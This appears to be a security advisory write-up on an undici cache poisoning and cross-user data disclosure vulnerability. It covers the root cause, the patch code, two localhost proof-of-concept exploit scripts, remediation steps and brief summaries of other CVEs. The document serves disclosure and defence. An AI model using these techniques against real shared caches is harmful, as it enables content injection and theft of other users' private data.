Oct 27, 2026·11 min read·8 visits
Undici versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1 fail to validate final response origins and intermediate hop Cache-Control directives when redirect() precedes cache() in an originless Agent. This enables persistent cache poisoning and cross-user sensitive data disclosure in shared caches.
A cache key origin desynchronization and intermediate Cache-Control suppression vulnerability exists in the Node.js Undici HTTP client library. When an originless Agent composes the redirect and cache interceptors in the order compose(redirect(), cache()) with a shared cache store, cross-origin responses and sensitive redirected resources are stored under the initial request's cache key.
CVE-2026-109829 (tracked via GitHub Security Advisory GHSA-4w7w-5xrc-9h26) is an origin validation and caching logic flaw in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js. Undici provides a modular architecture where dispatchers (such as Agent, Pool, and Client) can be extended using functional interceptors that wrap request and response handling pipelines. Among these built-in interceptors are interceptors.redirect(), which automatically follows HTTP 3xx status responses, and interceptors.cache(), which implements RFC-compliant HTTP response caching via configurable memory or SQLite storage backends.
The vulnerability is classified under CWE-346 (Origin Validation Error) and CWE-524 (Use of Cache Containing Sensitive Information). It manifests in Undici versions 7.0.0 through 7.30.0 and 8.0.0 through 8.12.1 when an application constructs an originless Agent that composes the redirect interceptor before the cache interceptor (compose(redirect(), cache())) while configuring the cache interceptor to operate as a shared cache (type: 'shared').
In this specific pipeline arrangement, the cache handler calculates and registers the request's storage key during the initial dispatch phase based on the original request URL. When the downstream request encounters an HTTP 3xx redirect, the redirect handler intercepts the response, updates the target origin or path according to the Location header, and re-dispatches the request without resetting or notifying the outer cache key context.
Consequently, the terminal response is stored under the cache key of the initial request URL regardless of whether the responding server belongs to a completely different origin or whether intermediate redirect hops explicitly prohibited caching via Cache-Control: private or Cache-Control: no-store headers. This creates two distinct security impacts: persistent cross-origin cache poisoning and cross-user sensitive data disclosure across security boundaries.
The root cause of CVE-2026-109829 lies in how Undici's interceptor composition model wraps handler lifecycles and passes state between RedirectHandler, CacheHandler, and DeduplicationHandler. In Undici, composing interceptors via agent.compose(redirect(), cache()) constructs a handler chain where the CacheHandler initializes its state prior to the RedirectHandler resolving the redirect chain. During the onRequestStart lifecycle hook, CacheHandler computes this.#cacheKey using the initial request's method, origin, path, and headers.
The first flaw is Origin Desynchronization (CWE-346). When an originless Agent processes a request to https://trusted.example.com/resource and receives an HTTP 301 or 302 redirect to http://attacker.example.com/payload, RedirectHandler mutates the request target and dispatches a new request to the external origin. When attacker.example.com responds with HTTP 200 and Cache-Control: public, max-age=86400, CacheHandler.onResponseStart evaluates the terminal headers. Because CacheHandler previously lacked any verification comparing the final URL in the redirect history against this.#cacheKey.origin, it accepted the cross-origin payload and committed it to the shared cache under the https://trusted.example.com/resource key.
The second flaw is Intermediate Cache-Control Suppression (CWE-524). When an authenticated user requests a sensitive endpoint (e.g., /account with Authorization: Bearer alice), the server may return an HTTP 302 redirect containing Cache-Control: private, no-store pointing to a pre-signed, unauthenticated resource URL (e.g., /signed-object?token=alice-secret). RedirectHandler suppresses the 302 response body and headers to transparently follow the redirect to /signed-object. If the /signed-object endpoint returns Cache-Control: public, max-age=86400 (assuming security is enforced by the unguessable token in the URL), CacheHandler only inspects the terminal response's Cache-Control headers. Because the intermediate hop's private, no-store directives were discarded during redirect handling, CacheHandler caches the sensitive payload under the /account cache key in the shared store.
A third compounding factor involves Deduplication Handler Context Loss. When interceptors.deduplicate() is positioned between redirect() and cache() (compose(redirect(), deduplicate(), cache())), concurrent identical requests are coalesced into a single upstream flight. Prior to the patch, DeduplicationHandler replayed the primary response to waiting downstream handlers without propagating the primary request's context.history object. Even if origin checks were performed on the primary request, deduplicated secondary requests lacked the redirect history context and would bypass validation.
The vulnerabilities were resolved in commit 26c2bfb3def0b67241ce878e80657ed5d6c3efa8 (and backported to the 7.x release line in commit b20b82ad80a405a12b6ce1f341bcd418de390aa0). The patch modifies four core files to track redirect metadata, enforce origin matching, honor intermediate caching directives, and preserve context across deduplicated requests.
First, in lib/core/symbols.js and lib/handler/redirect-handler.js, the maintainers introduced a non-enumerable symbol property kRedirectCacheControl on the this.history array to record the cache-control header of every intermediate redirect hop before RedirectHandler suppresses the response:
// lib/core/symbols.js
kRedirectCacheControl: Symbol('redirect cache control'),
// lib/handler/redirect-handler.js
class RedirectHandler {
constructor (/* ... */) {
// ...
this.history = []
// Initialize non-enumerable array on history to store intermediate Cache-Control headers
Object.defineProperty(this.history, kRedirectCacheControl, {
value: [],
enumerable: false
})
}
onResponseStart (controller, statusCode, headers, statusMessage) {
// ...
// Capture the intermediate hop's Cache-Control header before following the Location header
this.history[kRedirectCacheControl].push(headers['cache-control'])
}
}Second, lib/handler/cache-handler.js was updated to store a reference to context?.history during onRequestStart and validate both the terminal origin and the recorded intermediate Cache-Control directives inside onResponseStart before committing any data to the cache store:
// lib/handler/cache-handler.js
function sameOrigin (a, b) {
try {
return new URL(String(a)).origin === new URL(String(b)).origin
} catch {
return String(a) === String(b)
}
}
// Inside CacheHandler.prototype.onRequestStart:
this.#history = context?.history
// Inside CacheHandler.prototype.onResponseStart:
// 1. Verify that the terminal response origin matches the initial cacheKey origin
if (this.#history && this.#history.length > 0) {
const finalUrl = this.#history[this.#history.length - 1]
if (!sameOrigin(finalUrl.origin, this.#cacheKey.origin)) {
// Abort caching and pass headers directly downstream
return downstreamOnHeaders()
}
}
// 2. Inspect all intermediate redirect hops for restrictive caching directives
const redirectCacheControl = this.#history?.[kRedirectCacheControl]
if (redirectCacheControl) {
for (const hopCacheControl of redirectCacheControl) {
const hopDirectives = hopCacheControl ? parseCacheControlHeader(hopCacheControl) : {}
if (
hopDirectives['no-store'] === true ||
(this.#cacheType === 'shared' && hopDirectives.private === true)
) {
// Abort caching if any intermediate hop specified no-store or private (in shared mode)
return downstreamOnHeaders()
}
}
}Finally, lib/handler/deduplication-handler.js was updated so that when secondary waiting handlers are notified of a completed primary request, the primary request's context (which holds the populated history array and kRedirectCacheControl symbol data) is preserved and passed to the secondary handlers.
> [!NOTE]
> Fix Completeness Assessment: The patch completely resolves both cross-origin poisoning and intermediate directive suppression across standard and deduplicated interceptor chains. By attaching kRedirectCacheControl directly as a symbol on this.history and ensuring DeduplicationHandler propagates the context reference, no alternative code path within the built-in interceptors can drop the redirect metadata prior to CacheHandler.onResponseStart.
Exploiting CVE-2026-109829 requires no authentication on the client infrastructure itself, though the target Node.js application must be configured with three specific architectural prerequisites:
Agent instance (new Agent()).type: 'shared') passed to interceptors.cache().compose(redirect(), cache()).In a server-side rendering (SSR) application, API gateway, or proxy service using Undici in this configuration, an attacker who can trigger a temporary redirect on a trusted origin (such as via an open redirect, a user-customizable webhook/avatar URL that redirects, or brief DNS/BGP manipulation) can poison the cache for the trusted URL for up to the max-age specified by the attacker's server.
const { createServer } = require('node:http')
const { Agent, cacheStores, interceptors } = require('undici')
async function exploitCachePoisoning() {
let redirectEnabled = true
// Attacker server returning cacheable malicious payload
const attackerServer = createServer((req, res) => {
res.writeHead(200, {
'cache-control': 'public, max-age=86400',
'content-type': 'text/plain'
})
res.end('attacker-controlled-content')
})
// Trusted origin server
const trustedServer = createServer((req, res) => {
if (redirectEnabled && req.url === '/resource') {
res.writeHead(302, {
location: `http://127.0.0.1:${attackerServer.address().port}/payload`
})
res.end()
return
}
res.writeHead(200, {
'cache-control': 'no-store',
'content-type': 'text/plain'
})
res.end('legitimate-content')
})
await Promise.all([
new Promise(r => trustedServer.listen(0, '127.0.0.1', r)),
new Promise(r => attackerServer.listen(0, '127.0.0.1', r))
])
const trustedOrigin = `http://127.0.0.1:${trustedServer.address().port}`
const agent = new Agent().compose(
interceptors.redirect({ maxRedirections: 2 }),
interceptors.cache({
store: new cacheStores.MemoryCacheStore(),
type: 'shared'
})
)
// 1. Trigger request while redirect is active
await agent.request({
origin: trustedOrigin,
path: '/resource',
method: 'GET'
}).then(r => r.body.text())
// 2. Disable redirect on trusted server
redirectEnabled = false
// 3. Subsequent victim requests to trustedOrigin/resource receive poisoned content
const victimResponse = await agent.request({
origin: trustedOrigin,
path: '/resource',
method: 'GET'
}).then(r => r.body.text())
console.log('Victim received:', victimResponse) // Outputs: 'attacker-controlled-content'
await agent.close()
trustedServer.close()
attackerServer.close()
}
exploitCachePoisoning()When an application uses a shared Undici agent to fetch backend endpoints that authenticate requests and redirect to signed storage URLs (such as AWS S3 pre-signed URLs or internal object storage tokens), an unauthenticated attacker can retrieve the private data of a previously authenticated user.
const server = createServer((req, res) => {
if (req.url === '/account') {
if (req.headers.authorization === 'Bearer alice') {
res.writeHead(302, {
'cache-control': 'private, no-store',
location: '/signed-object?token=alice-secret-token'
})
res.end()
return
}
res.writeHead(403, { 'cache-control': 'no-store' })
res.end('denied')
return
}
if (req.url.startsWith('/signed-object')) {
res.writeHead(200, {
'cache-control': 'public, max-age=86400',
'content-type': 'text/plain'
})
res.end('alice-private-sensitive-data')
return
}
})Once Alice requests /account, the 200 OK response from /signed-object?token=alice-secret-token is cached under /account. A subsequent request to /account without an Authorization header (or when Vary: Authorization is not present on the terminal /signed-object response) hits the shared cache prior to reaching the upstream server's 403 check and returns alice-private-sensitive-data.
CVE-2026-109829 carries a CVSS v3.1 base score of 7.4 (High) with the vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N. The Attack Complexity (AC:H) reflects the requirement that the target application must explicitly configure an originless Agent with a shared cache store and compose redirect() prior to cache(). However, when this configuration is present, both Confidentiality (C:H) and Integrity (I:H) impacts are high, while Privileges Required (PR:N) and User Interaction (UI:N) are none.
On the Confidentiality side, backend services frequently implement an authentication gateway pattern where an initial endpoint verifies user credentials (returning 302 Found with Cache-Control: private, no-store) and redirects the client to a capability URL or pre-signed object store URL that returns Cache-Control: public. Because the terminal storage service relies on the capability URL for authorization rather than the Authorization header, it typically omits Vary: Authorization. Storing this terminal response under the initial gateway URL in a shared cache allows any subsequent caller to read the first user's private payload without authentication.
On the Integrity side, any endpoint on a trusted origin that can be induced to issue an HTTP 3xx redirect to an external domain allows the external server to inject arbitrary content into the Undici shared cache under the trusted origin's cache key. Even if the redirect on the trusted server was transient or user-controlled via query parameters that are stripped or normalized, the attacker's response headers (Cache-Control: public, max-age=...) dictate how long the poisoned entry persists in the application's memory or SQLite cache store.
As of the latest threat intelligence metrics, CVE-2026-109829 has an EPSS score of 0.00149 (0.15% probability of exploitation within 30 days, placing it in the 4.04th percentile) and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.
The definitive remediation is to upgrade the undici package to a patched release that enforces origin matching and honors intermediate Cache-Control headers across redirect chains:
undici >= 7.30.1.undici >= 8.12.2.Security and engineering teams can audit their dependency trees to identify vulnerable versions using standard Node.js package manager commands:
npm list undici
# or
yarn why undici
# or
pnpm why undiciTo locate potentially vulnerable interceptor compositions within source code repositories, run a regular expression search targeting compose() calls where redirect() precedes cache() with type: 'shared':
compose\(\s*.*redirect\(.*?\)\s*,\s*.*cache\(\{[\s\S]*?type:\s*['"]shared['"]> [!NOTE] > If an immediate dependency upgrade is blocked by operational constraints, apply one of the following architectural workarounds to eliminate the vulnerability:
interceptors.cache() before interceptors.redirect() so each individual hop in a redirect chain is evaluated and cached under its own distinct request origin and URL:const agent = new Agent().compose(
interceptors.cache({ store: cacheStore, type: 'shared' }),
interceptors.redirect({ maxRedirections: 2 })
)new Agent() instances with origin-bound new Pool(origin) or new Client(origin) dispatchers when configuring shared caches.type: 'shared' to type: 'private' (or disable caching on dispatchers that follow untrusted or authenticated redirects).CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
undici Node.js / OpenJS Foundation | >= 7.0.0, < 7.30.1 | 7.30.1 |
undici Node.js / OpenJS Foundation | >= 8.0.0, < 8.12.2 | 8.12.2 |
| Attribute | Detail |
|---|---|
| CVE ID | CVE-2026-109829 (GHSA-4w7w-5xrc-9h26) |
| Weakness Class | CWE-346 (Origin Validation Error) / CWE-524 (Use of Cache Containing Sensitive Information) |
| CVSS v3.1 Score | 7.4 High (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| EPSS Score | 0.15% (4.04th Percentile) |
| Attack Vector | Network (Cross-Origin HTTP Redirects & Authenticated Redirect Chains) |
| Primary Impact | Persistent Shared Cache Poisoning & Cross-User Private Data Disclosure |
| Exploit Status | Proof-of-Concept Available (Unit Test Reproduction) |
| CISA KEV Status | Not Listed |
The software does not properly verify that the source of data or communication is valid, allowing cross-origin responses to be associated with a trusted origin's cache key alongside improper caching of sensitive intermediate redirects (CWE-524).
CVE-2026-116693 is a high-severity Regular Expression Denial of Service (ReDoS) vulnerability affecting the official Datadog Application Performance Monitoring (APM) client library for Node.js, dd-trace. The defect resides in the default regular expression defined by the DD_TRACE_OBFUSCATION_QUERY_STRING_REGEXP configuration parameter, which is used to sanitize incoming and outgoing HTTP URL query strings prior to recording trace span metadata. Due to overlapping sub-patterns and unanchored repetition blocks in the JSON Web Token (JWT) and URL-encoded string matching branches, the V8 JavaScript engine's regular expression subsystem (Irregexp) can be forced into catastrophic or high-degree polynomial backtracking. Because regular expression replacement occurs synchronously on the primary Node.js event loop, an unauthenticated remote attacker can send crafted HTTP requests with malicious query strings to consume 100% of the process CPU core, stalling concurrent request processing and rendering the application unavailable.
CVE-2026-116692 (GHSA-26p8-2jq9-3vq9) is a remote code execution vulnerability in MLflow affecting versions 3.12.0rc0 prior to 3.17.0. The flaw stems from an overly permissive module prefix check during the deserialization of third-party GenAI evaluation scorers in mlflow/genai/scorers/base.py. By setting an experiment's artifact root to a local package directory within the Python module search path and uploading a crafted Python file as a run artifact, an attacker can invoke the /ajax-api/3.0/mlflow/scorer/invoke endpoint to dynamically import and execute arbitrary code on the MLflow tracking server.
CVE-2026-116691 (GHSA-j7qq-vr8c-xvw3) is a sensitive credential disclosure vulnerability in the MLflow platform affecting versions 2.19.0 through 3.16.x. When CrewAI autologging is enabled via mlflow.crewai.autolog(), the tracing instrumentation fails to sanitize nested CrewAI LLM objects before serializing them into OpenTelemetry trace spans. Consequently, plaintext LLM provider API keys are extracted from object dictionaries and string representations, then transmitted and stored in MLflow tracking servers or external OpenTelemetry Protocol (OTLP) telemetry backends.
MLflow versions 3.10.0 through 3.16.1 contain a path traversal vulnerability (CWE-22) in the model version creation handler. Specifically, the prompt-specific execution branch in `_create_model_version()` fails to validate schemeless relative paths and evaluates the `mlflow.prompt.is_prompt` tag based on key presence rather than value. An unauthenticated remote attacker on default deployments, or an authenticated low-privilege user on basic-auth deployments, can register a model version with a relative local path as its artifact source and subsequently retrieve arbitrary files from the server filesystem via the `/api/2.0/mlflow/model-versions/get-artifact` endpoint.
CVE-2026-109383 (GHSA-2m5v-pch6-74hx) is an improper certificate validation vulnerability (CWE-295) in undici, the official HTTP/1.1 and HTTP/2 client library for Node.js. In affected versions, the Agent constructor clones configuration options using a JSON-based deep clone function (util.deepClone), which executes JSON.parse(JSON.stringify(options)). Because JSON serialization omits function properties, custom certificate validation callbacks passed via the tls configuration option—such as tls.checkServerIdentity—are silently stripped before being passed to origin connection pools. Consequently, connections fall back to standard Node.js TLS validation, bypassing custom certificate pinning or hostname verification rules and allowing an Adversary-in-the-Middle (AitM) with a CA-trusted certificate to intercept and modify traffic.
CVE-2026-109855 is a high-severity Denial of Service (DoS) vulnerability in undici, the primary HTTP/1.1 and HTTP/2 client library for Node.js maintained under the OpenJS Foundation. In versions 8.11.0 and 8.11.1, the WebSocket client fails to properly terminate underlying ClientHttp2Stream instances when an HTTP/2 WebSocket handshake fails validation. When the remote server subsequently closes or resets the stream, Node.js emits an unhandled error event on the orphaned stream, crashing the client process.